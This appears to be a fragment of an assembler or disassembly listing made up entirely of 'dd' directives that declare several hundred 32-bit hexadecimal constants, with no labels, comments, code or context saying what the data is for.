		dd 0C105E796h, 61237F58h, 926AC82h, 20E666F7h, 682DAE09h
		dd 0A4D50EDBh, 64AE4491h, 58A52831h, 25F716BDh,	6C4189E9h
		dd 97BDBC58h, 0F9B307C8h, 0EEEC08D3h, 2CCEBD01h, 0D02A57A5h
		dd 0C77FB1D6h, 0EB296818h, 4183E9DBh, 30B02BE5h, 896AC7D1h
		dd 0DBEED3F5h, 0D3EBF303h, 0D9B637FBh, 0D03A5ACh, 4D7559C8h
		dd 270021EAh, 0FE3536DDh, 9586B3E7h, 207BEBC8h,	0D178DF82h
		dd 90AF812Dh, 0FA97B9F7h, 0A43C5A43h, 0EA041562h, 0C1E9D5D3h
		dd 0FC5D16EBh, 4168E0B7h, 4A4B9E0Dh, 0EC323A58h, 8AE0EEB1h
		dd 0D4915C36h, 0E1620769h, 0DFE905A8h, 55A563AAh, 233B1AF9h
		dd 0A1014A9Ch, 34B7748Ch, 7DB7E17Bh, 16E400EDh,	76E99691h
		dd 7A19BFAEh, 80A164D6h, 28E5EE12h, 9575E6FCh, 0FAA8AF91h
		dd 877D3055h, 0EA79D7CDh, 13F53D04h, 91ED35EFh,	5E1865Ch
		dd 387E9DBBh, 0ACCA855Eh, 845012A7h, 1D0C170Dh,	0C74DBF11h
		dd 98001112h, 4B987D9Bh, 4F1F522h, 0A3F2AA08h, 29599E31h
		dd 8107DCEEh, 0D2028891h, 7550593Bh, 68109D94h,	0E9097BC2h
		dd 0F6E63DEFh, 0B5E81FCh, 0D75B1C32h, 0CD4070Bh, 0F6FE3152h
		dd 69209070h, 90752CF0h, 169216F4h, 0AA09DBDAh,	5E0AB006h
		dd 0CDF35B71h, 7F0CA511h, 57584A9Eh, 984227B4h,	4CEAE979h
		dd 68A0F33Dh, 53B70D94h, 0E2CC6A58h, 147793F2h,	0CBD69559h
		dd 3F81072h, 0C28AA9CBh, 133B6BDDh, 46F140BCh, 89F783EFh
		dd 605CDE97h, 0C9B95152h, 60DB3A12h, 3B503DEDh,	79736014h
		dd 65ECE4C6h, 59BC01FCh, 0FFF8A3A8h, 35A6B794h,	115C460Bh
		dd 19E05F8Ch, 74D19745h, 0B45CF546h, 460A3EB3h,	1F00350h
		dd 7272AF6h, 1F82A11h, 0C439FA4Fh, 9422B03Ah, 3DAC66BDh
		dd 29272AB5h, 17C35D48h, 49CBDA12h, 705D6001h, 0E12F44EBh
		dd 98FA06F6h, 549ED6B5h, 0EB3FE917h, 34F1DCA8h,	24722FDCh
		dd 23E25528h, 0BF6007F6h, 0A061769Ah, 3965C7C6h, 0E9BAB362h
		dd 8B7E3924h, 5FC67646h, 5EF26420h, 82D5A429h, 74A2011Ch
		dd 41E9EED4h, 0DA1C8308h, 4A31F440h, 32ADF518h,	7AE9C348h
		dd 66098733h, 52CD9C46h, 0F5CFA861h, 0D5E02ABAh, 31A65B73h
		dd 4028EFCh, 0C8CCD8FEh, 0E1C5594Fh, 0BD3360ABh, 0E6342D54h
		dd 1EC1582Bh, 0ABCD15B3h, 9F4E51F2h, 33A74AC5h,	1055E75Ch
		dd 763C2ABDh, 0A54B7A5Bh, 2446705Dh, 69C17857h,	7C187053h
		dd 50B5E92Ah, 0FFB7D4ADh, 0DFDECCDDh, 0FE8B3173h, 721BD4ABh
		dd 4B39D9DFh, 6853E790h, 421E032Ah, 96DEE91Bh, 9CEBAD83h
		dd 7FD2CB9Ah, 993BFECh,	105980D3h, 86145000h, 0FCDF291Bh
		dd 37D45F72h, 0E349C312h, 44401A9h, 0A10D884h, 0B78120D6h
		dd 0E695D5D8h, 0B2521F9Ch, 0BDF20394h, 0C194CAFEh, 6FC15713h
		dd 814F15B7h, 4CE4FE5h,	677F83C0h, 30087BE1h, 0F58F821Ah
		dd 852F5A9Ch, 47D8C06Eh, 0E0E74BC1h, 3400F8A4h,	814B41A5h
		dd 22965CBh, 0DBF71932h, 3AE951E9h, 5BBC3AACh, 0D9313FA9h
		dd 2020C8B6h, 0B7FCBA7Bh, 45367983h, 6BC63D27h,	0FC85DB3Eh
		dd 0C140CD97h, 0F60CD4B7h, 0E39DFB12h, 24FDDDD7h, 2C6288BFh
		dd 80A65ABAh, 5B81CE63h, 0CC0774EBh, 5727F36h, 10E7F3A1h
		dd 0D9F97CC9h, 1ACD2293h, 96724B9Ch, 56C96817h,	3693092h
		dd 643DD0F6h, 272D1202h, 0FF5EB0FDh, 0B8727931h, 84D0BC6Eh
		dd 0BB14C26Eh, 0EE6C3E02h, 0F9F72955h, 0EB016092h, 424B2A68h
		dd 1B03EA8Dh, 21BBFD81h, 0A7CD797Ah, 1FE50F58h,	668681E5h
		dd 0C7E0805Ah, 14C15886h, 4BAF533Fh, 2BD7840h, 0AE2EE5BFh
		dd 6A9A0815h, 55E2D102h, 74956157h, 0A618B4Dh, 4852E034h
		dd 0F105DA50h, 1461B68h, 0AA6475D8h, 0C8D02B66h, 39123E92h
		dd 0F45EE90Dh, 0D7E4F875h, 9BCA4D7h, 0FF1BC486h, 6AC1CE5Ah
		dd 5801CF7Eh, 1B42E2Dh,	2493EC5Eh, 16A2944Dh, 48BE8AF8h
		dd 2E114137h, 92EB31C5h, 0C78930CCh, 0F1B21C57h, 7AA7FA89h
		dd 78B5CA46h, 1A6812A4h, 52EDB22Ah, 1C1ED67Dh, 6B0CAC75h
		dd 92D0648h, 50C6E636h,	0E2BF1858h, 87DF0086h, 0B717690Bh
		dd 80C61CAh, 765C4BBAh,	0F02867E1h, 3F0CB306h, 0D99738C3h
		dd 40E4E97Fh, 0F32AE908h, 0F207E58Ch, 782D592Ch, 71DDE260h
		dd 0C1793B33h, 0CA037948h, 3B630B73h, 15CCEAF8h, 0E939B504h
		dd 37BEA0E6h, 0C69893D4h, 822CCC1Ch, 0C81F2D9Ch, 0CDE85A3Ah
		dd 645B0F12h, 0AEAF1206h, 210B968Ah, 807E5DE8h,	2718B188h
		dd 0DC7E5362h, 0FD40E7E2h, 535FC632h, 0ECE986C5h, 0C0ECAB0Ch
		dd 0F977AA64h, 0FF87B87h, 8FC6D921h, 0DF810EC9h, 9CEC7B05h
		dd 1EC63A77h, 2E557FA5h, 0F051A068h, 5B39E929h,	8464BBC4h
		dd 0F79605C4h, 56D120F8h, 85DB907h, 40A2205Ch, 4BA672F1h
		dd 0B725FB07h, 4794C0EFh, 50022F5Eh, 80A005B8h,	89D448C0h
		dd 3868FAF3h, 0AA5B0359h, 0E2BF9B3Ch, 6BC82645h, 237C00AEh
		dd 86E91F80h, 3B8DDD49h, 9B4EF809h, 0B0683A02h,	3A1B6C0Ch
		dd 53826D6h, 0DBD92E84h, 10E6E3FAh, 800FB00Dh, 61094CF5h
		dd 20022613h, 2E3C5B28h, 0BF2425Ah, 0D382D707h,	475576A1h
		dd 0ADC2F69h, 0AEC92D93h, 5E868D2h, 0FD6717AAh,	0B9F0A040h
		dd 64375E62h, 7FD955A6h, 2BBD1D0Bh, 7E685F13h, 1C2D6975h
		dd 0E9A97707h, 180CC38Ah, 5D61FFBAh, 0D5F0A8A6h, 0FCE23B5Eh
		dd 1069F6D7h, 4D3ECCC0h, 6587CD00h, 0EDC15D1Fh,	8060361h
		dd 0BB70C583h, 92E44B8Dh, 7220421h, 17EEFFA6h, 60DF18A0h
		dd 7872BA80h, 0CB2E4823h, 0C2329103h, 0C1C9502Dh, 0D3813D8Bh
		dd 5B998401h, 42B5A34h,	0FB402A5Fh, 0ECBED89Ch,	53D02443h
		dd 27440234h, 0C0607F1Ch, 4E13C0EEh, 1EAC6EE1h,	90F3164Eh
		dd 782737C0h, 0BB979B90h, 5F19925Eh, 775C9998h,	5E027F24h
		dd 0A43CC90Eh, 8100215Dh, 0AA3174F6h, 3E0C1561h, 27DBA805h
		dd 0D7F45E54h, 2F2F062h, 0D9C0B652h, 1D9968BFh,	71ED8181h
		dd 71301A37h, 1C6201C5h, 7DE9785Bh, 686264E2h, 9C3C233Ch
		dd 7D2FCB9Fh, 0FB7EB23Ah
		dd 1677EC8Ch, 2C581C66h, 28FE83C1h, 83A504F8h, 352C7E7Bh
		dd 12932DCBh, 0DBC242FBh, 0F754DA86h, 70667849h, 4ED8B8BEh
		dd 0B1688402h, 7905EDF6h, 5D89B0h, 2B140BCCh, 0E46ABF7Eh
		dd 0E296080Bh, 792F952Fh, 0BD86A252h, 98A54CDBh, 0B6425527h
		dd 0D7D08BD1h, 0E96FEBFCh, 0ADEBE018h, 0CF2BEE55h, 62A5520Fh
		dd 0F2CBF4A6h, 6FE60539h, 0F72FCA77h, 0D3B75385h, 8470C4EBh
		dd 2C9A0ED9h, 4F8C688Bh, 4F4A8581h, 5B4D92A3h, 0F79EB01h
		dd 2F586AF1h, 0EA40A6E2h, 0CD2B0EB3h, 0EC74014Fh, 26E90840h
		dd 0A4CCFB76h, 32A2497h, 0C03B837Fh, 3491D5F7h,	950EA08Ch
		dd 8DACCB4Bh, 681257BCh, 0C3C9582Bh, 71B08201h,	7C02F110h
		dd 0E2CA73Bh, 0CC6AD0E1h, 1656184Dh, 470BC65Bh,	39F4E914h
		dd 68053171h, 23AD48B6h, 0C704D894h, 0FA57113Bh, 13A97DE0h
		dd 0BB383721h, 2DBEBE18h, 0A57791D1h, 682A5794h, 0E93FED36h
		dd 45744E13h, 0C2D253C7h, 0A27FA9h, 5E0547A6h, 7D83C1F9h
		dd 32144527h, 4F072DE8h, 0E938F4C3h, 0B4FB31E6h, 8125684h
		dd 556828Ch, 0E8468ABEh, 142C230h, 152D4666h, 1E955825h
		dd 706DE9EEh, 0F6D82C8Fh, 4E8D072h, 1F2FF48h, 0E9F030F5h
		dd 0E38883FDh, 708B710Dh, 0FD2BC8D1h, 5A842773h, 934E02DFh
		dd 0A250AAFh, 0CF9B975Dh, 1EEC1BE6h, 8E26813h, 0A240BEA6h
		dd 50DD890Bh, 336FB9DCh, 89379916h, 0F831F404h,	0F4D32FA8h
		dd 0C2FE982h, 260D4ECDh, 18BA210Dh, 6DADC309h, 8B166BDh
		dd 37171431h, 356BE986h, 5C9F2F2Bh, 2AA47198h, 96567B3Eh
		dd 0EA604D0Ah, 1C6509Ah, 8EF78131h, 64D1EAB9h, 0F5545DABh
		dd 955985h, 482E3520h, 2D2F0E8Eh, 8687ECB3h, 0C058E509h
		dd 0D9F7076Fh, 3C114140h, 0BFDA0826h, 6BC34F00h, 0B8775621h
		dd 43E20DA6h, 0CC2A479Dh, 1C25AEECh, 30325501h,	3029EDA0h
		dd 6815644Ch, 585D2B40h, 5F865435h, 4E274798h, 2007D1DBh
		dd 0F5304196h, 4B8C787Ch, 0B97ABE2Dh, 9214A567h, 0B147199Eh
		dd 746FC31Fh, 0B0FD0E27h, 17D328AFh, 0E99880F8h, 12B34E30h
		dd 818917BDh, 0DA729FD7h, 8E7355BDh, 76C5C19Fh,	0F7EF3E0Bh
		dd 0A9419661h, 6CC22A9Bh, 0F703D040h, 0EEF0DFD8h, 87D18457h
		dd 0BA90BECEh, 5EB96802h, 0E48BCD4Fh, 960555BDh, 8F60E945h
		dd 633EEE8Dh, 0EF8CDB94h, 0CD84F7B3h, 169014A1h, 46209642h
		dd 0E73BFBEDh, 78A82Fh,	82BA5250h, 0B860D221h, 5E583B40h
		dd 0E1E97606h, 0F2FC38D3h, 0F4A9C0B5h, 7905241Dh, 0E290014Ch
		dd 301A4C6h, 5A2CC6DAh,	0B33CFC88h, 0F0F1E351h,	9DF9E9CFh
		dd 0B571E562h, 0A8685540h, 0DD4D973Bh, 52519726h, 6194730h
		dd 0BA07F840h, 312F0B1Dh, 86453EAh, 0BE03AA65h,	0C5D668A0h
		dd 2FED4DC1h, 0E90010E5h, 0C59ED975h, 0A0718D61h, 49CD68FCh
		dd 0B218185Ah, 5BDAA143h, 5354258h, 27380ED6h, 0DDB492FAh
		dd 2CABD03h, 1E47C54Fh,	0C08773DCh, 0C172054Ah,	46D31EFh
		dd 0D887980h, 0B8235FC4h, 404880E7h, 912621E9h,	22FDAD00h
		dd 5FA0DD65h, 0FC0932D1h, 6F637EBAh, 57D82A82h,	49023E76h
		dd 4066926Dh, 828A3B9Dh, 83E43157h, 504810F7h, 0F8B11E9Bh
		dd 8DE19757h, 2E7EE63Eh, 0F1E3595Bh, 0D87D3FCFh, 10CAAD4Bh
		dd 0AC0793DDh, 95C0F68h, 0A096E777h, 0BE5F4B30h, 0A000F06Dh
		dd 25806EBDh, 65422946h, 5DD6080Bh, 635FE98Bh, 35AAA4BBh
		dd 2BDE2D1Eh, 562515A7h, 0EFB6B41Bh, 0EB9B5E50h, 1AB732B2h
		dd 14970ECFh, 55A4D6CFh, 0DDCEAA0Fh, 0E94F07D1h, 0B6A658E6h
		dd 3B5CF14Ch, 0B9F36DBDh, 0C7801009h, 49B0744Dh, 0AC16F81h
		dd 3120E8B8h, 0DD2FEA95h, 4114D982h, 0BF62E1D4h, 89ED7925h
		dd 43D6ACE8h, 8A68BD74h, 36DCB750h, 0A0A2EF13h,	4D9FF4CAh
		dd 0D4B30216h, 300C05E1h, 0C9C788E5h, 898F4EF7h, 0EF9168E7h
		dd 41D582BEh, 126F72F5h, 0D7F6ACC8h, 84FD2BFh, 68151BD8h
		dd 0B722339h, 0E928BEB1h, 3D7C8A7Ch, 0FF918196h, 47C005FCh
		dd 2C33A4EDh, 0CB7C1C12h, 849C26FFh, 15DE9DD5h,	0FB4616BDh
		dd 53B9C8FFh, 7454EE90h, 0C02668A4h, 0B762EF1Ch, 5271DD14h
		dd 0EE80D540h, 0D6F627AAh, 0CEF004F0h, 9E3C2CF1h, 282EF631h
		dd 0D8D178BFh, 0D22C8ADDh, 2F68B9Eh, 68739641h,	0DEB93C8Dh
		dd 6D2E137h, 387155CEh,	0C4D1973Ch, 7E5D9B4Fh, 73F4260Ch
		dd 0C1055FF3h, 34AB6DEh, 0B151C159h, 0F7C8D443h, 77F85285h
		dd 4EEA7B72h, 280AC141h, 0D8D82FF1h, 9157D63Ch,	9311B380h
		dd 8410C367h, 90C610B0h, 2054E58h, 0E05615D1h, 7E410C93h
		dd 505AA30h, 0B40A0F2Dh, 6975C608h, 9CA0584Ah, 2BA1B5A8h
		dd 6E2903EDh, 4AECDBB0h, 9B278CA5h, 44EBFE5Fh, 4A917E0h
		dd 0CCAE7068h, 0F5B857FAh, 0A68E8F4Fh, 0F896523Fh, 45399364h
		dd 0D3ECF8F5h, 1CF659FFh, 8902EFDh, 76E426Ch, 0E581457Dh
		dd 2963031Eh, 4355CDB1h, 18043ADEh, 215A055Bh, 0D41750C0h
		dd 0F5BF4F76h, 14A57F18h, 564026Ah, 0EC613340h,	55F0378h
		dd 77BCD818h, 0F6E2FAFAh, 0D261EE96h, 0B304A2A6h, 0D0257BF7h
		dd 8C9E505h, 680523BFh,	7AD94099h, 21282C2h, 0FF47DFAEh
		dd 7ACC562Dh, 6BC6A591h, 7FE7D040h, 0BF11CA23h,	0DC9D05D0h
		dd 89AA2ECFh, 0E254B6FCh, 710AFB8Bh, 1081641h, 8721B978h
		dd 42056F4Bh, 0DF2D5D0Ch, 2B04F332h, 0AF71930Bh, 9C8BCDF4h
		dd 2CAB246Dh, 987038E7h, 146CFD40h, 1249047Bh, 729E5EFh
		dd 0A3F21089h, 0B04672A7h, 4E631396h, 67BA095Bh, 0E0B68FA0h
		dd 609DC1B0h, 0C0469352h, 6F04F689h, 76B05220h,	9930C500h
		dd 5AD62171h, 12B90051h, 4133BF61h, 469E1C1h, 99805D8Ch
		dd 2D45A9BEh, 63FC294Ah, 0B5EF712h, 0C7DE1136h,	3F7268CEh
		dd 24B96A13h, 0EEBB1657h, 0EC2ED8C9h, 0C8BEB0DEh, 10A82760h
		dd 63B80E5Dh, 13020697h, 0D7CAFDDCh, 0B4EBD0B7h, 404AE80Fh
		dd 8D627D91h, 72C1EB05h, 5B8BF04Fh, 18F75FF9h, 9798FBDCh
		dd 95E479C8h, 0B28BA4B7h, 0A84A25F8h, 0D80BB2CAh, 1AF6BFEAh
		dd 0B9C5288h, 0A7852D48h, 29BAD0CAh, 5774BF0Eh,	206EC548h
		dd 68560EA1h, 4C6C0A2Bh, 0E074EED8h, 46110F12h,	9A1934ACh
		dd 78736949h, 0D7880BDFh, 0B8BA065Ah, 0F2F6F406h, 3EF32C0h
		dd 0AE40520Ah, 0D026C6FEh, 0CD1CC9EEh, 79E3F712h, 5BFA880Fh
		dd 0C33FC2C4h, 0C1B167A6h, 0B2946015h, 0EAC09AC3h, 0B436DF06h
		dd 92A9FC73h, 9D5AB245h, 0CD584054h, 0B610B759h, 1E863AE9h
		dd 8BCEB551h, 1146D05Ah, 0E2E8C132h, 4BE64DBh, 0BD7D1AEEh
		dd 0D6EFC76Bh, 0AD0097D6h, 0A36ECB2Dh, 5D9F687Ah, 0D2841D43h
		dd 0F8F012BDh, 0A452468h, 487CC023h, 31205437h,	161BE6F7h
		dd 4062E0Fh, 4DBF2F5h, 0A3BF5450h, 39EA4AEBh, 135F326Dh
		dd 552CA044h, 0CC9B4E4Dh, 6E12DD2Fh, 5F005A8Dh,	3E93050Eh
		dd 27B80550h, 0AA02820Ah, 0B9E5E3A1h, 3A86767Dh, 3CA41376h
		dd 0B2BF8DE4h, 9462A240h, 8C73E6D4h, 6C60BDF9h,	0E5C08555h
		dd 5A3AF8B8h, 420D1D35h, 0A356C39h, 82A1ED58h, 523D68C3h
		dd 0CF80E951h, 8336A857h, 15014CE9h, 6B659307h,	0A4D17743h
		dd 0EBC3D7E5h, 7BA29802h, 4C0417F1h, 2DBD0516h,	9F5D0840h
		dd 42D8FD03h, 2F2748Ah,	0A4BD2338h, 0E904F88Bh,	0FAD15575h
		dd 0AD070B5Eh, 0F90AA7C4h, 0FE9E150h, 0A0666AEFh, 0DC6813C6h
		dd 581F309h, 1F577C53h,	559AD182h, 0DD2FC973h, 0CA156B02h
		dd 99A084F3h, 33C03529h
		dd 21D68430h, 29431459h, 6A00B5FBh, 3523FF71h, 0A97F7984h
		dd 0E7182D04h, 9D10BEFCh, 2E7AF236h, 2F58D73Ch,	0BF65D05Ch
		dd 7C9DFB4Ch, 92FD4BDAh, 6F897732h, 2DD2EEF7h, 73DA7DE9h
		dd 6C53EE09h, 699BD703h, 14003BB7h, 0E8E1872h, 894AC8F4h
		dd 4CDEEEE8h, 0EF53D7AAh, 63B84A9Fh, 0FE14ACF5h, 0FA62945Fh
		dd 0ACCFCF83h, 43D4B800h, 0D1241498h, 800F1E0h,	9C209335h
		dd 1F5EBF64h, 13C9E944h, 4C56FE9Ch, 55986970h, 0AAA10DD7h
		dd 447B856Bh, 0BEE44109h, 0D160CD9Dh, 4CCCB4D2h, 753AD442h
		dd 768CDE92h, 82AAA455h, 0CDD1F890h, 65EB29D4h,	12E17E09h
		dd 0FED6DF28h, 99617A81h, 8BC1FE04h, 716FD18Dh,	0F4C20908h
		dd 3CB27CAEh, 8E53D330h, 4E8044E5h, 821B9621h, 26C90D7Dh
		dd 7EE4775Ch, 65B86813h, 90135EA3h, 584BCF4Dh, 0B6EF15C9h
		dd 0C9D744h, 0BA2CB58Fh, 0E129EE4Fh, 749F1B58h,	68ABCF73h
		dd 8121ACA5h, 2B04E0F3h, 0FB09EB8Ah, 0CB5C535Fh, 0E6649A59h
		dd 6F96BF5Ah, 43ED9E31h, 0BB425DEBh, 0FF6BCAB3h, 0AE3EBCCEh
		dd 94B77D98h, 5318B0BDh, 0A94B8E26h, 33509EA5h,	0E0F78C62h
		dd 0A70F4164h, 640A2573h, 0A7D95AA4h, 59F15430h, 0CA842529h
		dd 527095E2h, 0A501EF54h, 498C3168h, 33E97364h,	5AA49FA0h
		dd 0B9F7D1E2h, 0F66C826Dh, 5534AF5Eh, 0E9C368B3h, 304CBA98h
		dd 89B77BBDh, 8FE88981h, 4942EBD6h, 1270F50Dh, 0C33B5836h
		dd 3FB5E600h, 1ED8327h,	6EBC6819h, 0C42ABA51h, 0FCF6AE4Fh
		dd 532BD8CBh, 80ADB6D5h, 0BDD498A6h, 97167FF3h,	0B721F0E0h
		dd 5A6977F1h, 9B902DAAh, 6873307Dh, 0CD145818h,	0EAFE51CBh
		dd 79B95F07h, 393C04A9h, 13AC88B0h, 0EF415868h,	0FE11CB32h
		dd 0E2B939BBh, 0E75EE989h, 1DA718FDh, 79403E78h, 3A2EEE98h
		dd 0F2B0E5D1h, 0C7F07035h, 5F29F4AEh, 10AC62EFh, 0B93B5B09h
		dd 328E3605h, 5C55E401h, 0DF0A0338h, 8AA10AFh, 12170C68h
		dd 4DF7A45Ah, 0C3AB05F1h, 54C10F85h, 463A7011h,	14272217h
		dd 24E65808h, 340E05DDh, 9599C76Ch, 0A08E67BDh,	62391911h
		dd 40415926h, 66448225h, 70DEE05Bh, 0E0CF7E28h,	0C7803CE7h
		dd 6829583Fh, 0E8CC15F0h, 8101C10Eh, 2F1EDC61h,	0E60C824Bh
		dd 18C2ECDh, 30333B04h,	0D34EB4C8h, 3299D9D0h, 0FB3A4E2Dh
		dd 0B93EE72Dh, 0AEE93AE3h, 3EA61EB3h, 5A53211Fh, 2C04FC13h
		dd 0EE1229DEh, 0D2F75E05h, 905B10C7h, 4057246h,	0E0C1497Ah
		dd 39C4EB06h, 2DEDD452h, 4096A613h, 0FE47B2D5h,	64E480CAh
		dd 76BDE5FBh, 3E9A0C53h, 646CFC35h, 0BE2934E3h,	4F25C1E3h
		dd 0CFFE0C03h, 5CAE5027h, 6E3F1E37h, 7E85699Fh,	3FDABDABh
		dd 26BA9293h, 0C8A19BFh, 0E9993077h, 7414625Eh,	2D7D2EBEh
		dd 0BB6B1CC0h, 5DA902Dh, 54876F63h, 10A8AC29h, 244818A5h
		dd 0B86B3016h, 0BB99C4FAh, 1BC55FE8h, 3ECDEBF7h, 7DCBA27Bh
		dd 0C1EC964Ah, 2361BAB4h, 26A7C5C1h, 8F1BA0D5h,	412A2221h
		dd 40B03589h, 0A6617C43h, 0E37981E4h, 39A10F12h, 2D527E07h
		dd 0FBE93520h, 0A1CB2C7h, 42A2944h, 8C0314EAh, 0ECD8F802h
		dd 0F4FE01DEh, 9C579F82h, 0DA83D765h, 14A1C809h, 0C5423E06h
		dd 7F1F4C8Bh, 0BE1E7150h, 13B9BB50h, 76A4B7E9h,	3C5A09C3h
		dd 0C4033ECAh, 9AA9C8EBh, 901A8002h, 0E930F046h, 317A49D9h
		dd 603E51Ah, 0BE429D05h, 0DD642D0Bh, 943F24C4h,	0C6BD142Bh
		dd 78A1D6F7h, 2232BF2Ah, 5417801h, 0F606EBC0h, 0CCB5EAD3h
		dd 7C765E6Bh, 21D5AC2Fh, 4A3A7FC7h, 0A06997EFh,	846B4625h
		dd 4B06F46Dh, 0C2A04057h, 0F57A1F71h, 0CD672190h, 0FD81F3EDh
		dd 0EF78F9F6h, 0B300BB4Ch, 0D13F510Fh, 0D751F7E7h, 0C7CC74FBh
		dd 5721582Dh, 362BD480h, 0E9272227h, 5E9A41F1h,	0E5E9F13Eh
		dd 1C7B28D5h, 0B98E882Ch, 0D08BA05Bh, 39C8FEE8h, 3D1F9604h
		dd 0F6C2C752h, 0E00D49D2h, 34C0C81Ch, 0C0B86A70h, 51CE801Eh
		dd 9BC1E652h, 0AF0550F1h, 6710FAA2h, 50D849EEh,	95416D69h
		dd 0C0F6B97Ah, 2F51C168h, 40C1B826h, 0F858880Eh, 0BABB4FCh
		dd 0D2710EE5h, 3EB3B488h, 0D018D94h, 44CB1084h,	44977D8h
		dd 5201644h, 25C2B0BBh,	0F34E1054h, 0A84DCDB0h,	0D6B302CFh
		dd 0E15BDC88h, 0EF05BE0Dh, 0A8D624A2h, 3F738D75h, 12A7EEFCh
		dd 0FE674A27h, 0E90B712Bh, 89FE5955h, 6B1977EBh, 0D7406A25h
		dd 0C83C4DE1h, 0D1872642h, 830835ABh, 3FB9B355h, 7CB13BFDh
		dd 0F1588892h, 3A20E91Dh, 0B6FA7035h, 0AE909FBh, 0E8A520C3h
		dd 2C893503h, 3E1E02F9h, 4A7A5104h, 40C3AD22h, 0F531E908h
		dd 5E1377Bh, 0C17AE22Bh, 0C7B8F6E4h, 627B0631h,	0F772C650h
		dd 0F070CC0h, 27E91E82h, 82F95DB9h, 86B70252h, 62885EBBh
		dd 0A40F65FCh, 67AEBFDDh, 0E849A496h, 0C58812DEh, 4B3DCAEEh
		dd 70926ED8h, 0A86AE17Fh, 3CF8B591h, 772A2D04h,	0AD44C216h
		dd 0D069E2F4h, 829D20FFh, 1685314h, 5B7E13F5h, 27A2B301h
		dd 0BC6A54BCh, 82BA0447h, 21C294F8h, 3CF8F9D5h,	11DD6919h
		dd 0B7C12BEAh, 46332871h, 0C331FD62h, 0BC71766Bh, 7F5F23C9h
		dd 21165596h, 96AB59CAh, 92D54CFh, 3394F5A5h, 1892E630h
		dd 7EEBA59h, 123A5FBh, 158DD2C2h, 284D207Dh, 985DBC1Fh
		dd 21CD1A71h, 0BFC0882Ah, 97623CE9h, 0C05E5142h, 0BE934B7Bh
		dd 0A05389B3h, 794D722h, 29DB818h, 5029C027h, 7275585Dh
		dd 736C43Fh, 0A0959963h, 7B20B7C6h, 0FB390C0h, 39651935h
		dd 6455F26Bh, 4880F018h, 49DF85A6h, 3C7E5930h, 0E9008379h
		dd 0BCBC2664h, 0AB241D8Dh, 6B4DDE89h, 9DB1BEF7h, 7B27187Ch
		dd 80DC229Dh, 966B759Fh, 0BA7BD2F2h, 0C9685202h, 5AABC04Fh
		dd 0B03B04B9h, 0CE01F6A2h, 8429254Ch, 0D7D06459h, 4C88D5F6h
		dd 0F32837E8h, 0DEB8738Ah, 0B0669F03h, 0C3805A26h, 0EB28F81Dh
		dd 8BFB7579h, 4EAE21FAh, 391FB078h, 1A275A60h, 31895A74h
		dd 0C7A22203h, 0A15DD491h, 1E7F89C9h, 0DDCFAB71h, 0EA65A399h
		dd 7B7ADCDCh, 0D6F627E0h, 0D3BF0B1Ch, 2DFF93E5h, 10A83D42h
		dd 0A05B3AAAh, 7701CCAEh, 0E2C12186h, 8924202h,	0CD40AF03h
		dd 103CA1CAh, 0F9CB878h, 4038A931h, 22F9E980h, 0F69F7509h
		dd 7E08208Bh, 0E195305Ah, 0D0AAF297h, 19A8082Ch, 0FC91AE3Eh
		dd 0D700C8A4h, 3EAEE781h, 6D084C1Eh, 963CD1Fh, 0DE842156h
		dd 5D1BD019h, 279EF83h,	12BCF432h, 9C3CF431h, 0C438665Ah
		dd 0C9E20451h, 797BF412h, 51F3174Eh, 4B8752C9h,	5CE4310Ch
		dd 628A405Bh, 7D50C01Eh, 4C175580h, 6B0D643Ah, 0BA204984h
		dd 1C3DF57Ah, 0BD5BDC48h, 5B794C6Eh, 0E90B7DBDh, 0E7DDCF1Ch
		dd 0A5B43FDEh, 0BEEEE145h, 67761146h, 5875EB3Bh, 4F317A0Bh
		dd 3E305BE7h, 2817AF8Bh, 10B7A6E8h, 0BD00A402h,	2C453A1Ch
		dd 1A1CF581h, 0C1C47352h, 0AA8006E5h, 6911086Ah, 0D58123Bh
		dd 23C0C01h, 9781E909h,	6E98896Fh, 9A78D0E1h, 80B49350h
		dd 0C2BD12BEh, 1299D44Dh, 0F0A63450h, 985AE9E2h, 0B35B62A0h
		dd 0D544882Eh, 0E50E2017h, 7D6E6F80h, 54A78CE4h, 53A40014h
		dd 922D1AFBh, 73970912h, 4806610Bh, 4B9EEEB3h, 1B05FB47h
		dd 0F7BAE42Fh, 70E85B3Dh, 27DE4781h, 0D689685Ah, 1B35AD00h
		dd 30E92917h, 0F640F9B3h, 0E102C0D1h, 0B4505206h, 65E95F3Bh
		dd 0A8DCF9B1h, 0D75ECD0Eh, 0C9476BFh, 446B1FFCh, 1702F710h
		dd 407BBCD1h, 0A33AFFADh, 0ED0BD351h, 0C9392ED8h, 5D6BE2E3h
		dd 0E86EBCE2h, 0CCE100B7h
		dd 0BF23186Eh, 0D439B254h, 0BBAE580Ah, 0B5A41D30h, 2E9697EFh
		dd 19D92CF6h, 2ECA8982h, 310EE3C6h, 0C682EA88h,	8C2102D1h
		dd 6EFCB8F2h, 0CD2540Fh, 0C38D94EBh, 41564414h,	82DC2DE4h
		dd 60D0892Fh, 88DE5F0Bh, 223C33C2h, 19E4CC19h, 0F39B2D6Ah
		dd 1D6F1C35h, 0BEF8D38Dh, 0EA285E04h, 66B16BBCh, 0F2538176h
		dd 0FEB2D578h, 183AEDD8h, 0C2E1135h, 212736A3h,	9DFDC0Fh
		dd 165FB852h, 2EE80EE5h, 0C24B4083h, 6EE2F680h,	260D85Eh
		dd 0DB23BC5Ch, 0D480B75Ah, 48C2BF57h, 0FC6C0D27h, 0FEE90960h
		dd 10877862h, 0FFC430CDh, 30EECC0h, 1A1B753h, 581BE9FCh
		dd 0D3C5B172h, 9529AB32h, 842D8A3Eh, 35B14CE9h,	6958C221h
		dd 2546B1BFh, 702F6854h, 22771617h, 68D48C36h, 0F14A7F27h
		dd 6F218D6Eh, 875A4111h, 28A433A5h, 0E825F651h,	37FD6891h
		dd 5854805Ah, 0B4A8DB0h, 0A3FA9184h, 93E11092h,	0E0D3A14Ah
		dd 749FA95Dh, 0CD4BA781h, 26F3CDCBh, 4AE2EACCh,	4EF57844h
		dd 0F5D8B85Eh, 5B27FC09h, 6D7D1CB9h, 0E9893471h, 74DDF856h
		dd 0BCC8EE31h, 386804E2h, 93D9BE03h, 82A03EFCh,	15CA0374h
		dd 0B101F802h, 2DDF822h, 25667769h, 10D1F189h, 45CA3142h
		dd 7F83A55Ch, 4C172889h, 0B9405AD1h, 1F44B951h,	87051380h
		dd 91C1AF1h, 0C462B169h, 0E7A023ECh, 685F037Dh,	2DDA2F83h
		dd 0AE543056h, 0F1FFCCE4h, 32D87F07h, 0B2A85495h, 4E42B0C2h
